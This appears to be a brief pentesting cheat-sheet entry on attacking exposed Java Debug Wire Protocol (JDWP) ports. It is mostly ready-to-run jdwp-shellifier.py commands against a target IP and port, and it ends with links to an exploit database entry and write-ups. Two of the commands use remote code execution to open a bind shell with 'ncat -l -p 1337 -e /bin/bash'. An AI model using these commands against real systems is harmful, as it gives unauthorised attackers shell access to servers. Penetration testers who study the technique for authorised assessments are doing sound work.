JDWP

Java Debug Wire Protocol

Java Debug Wire Protocol (JDWP) - Remote Code ExecutionExploit Database

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Resources:

Pentesting JDWP - Java Debug Wire ProtocolHackTricks

Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger” – IOActive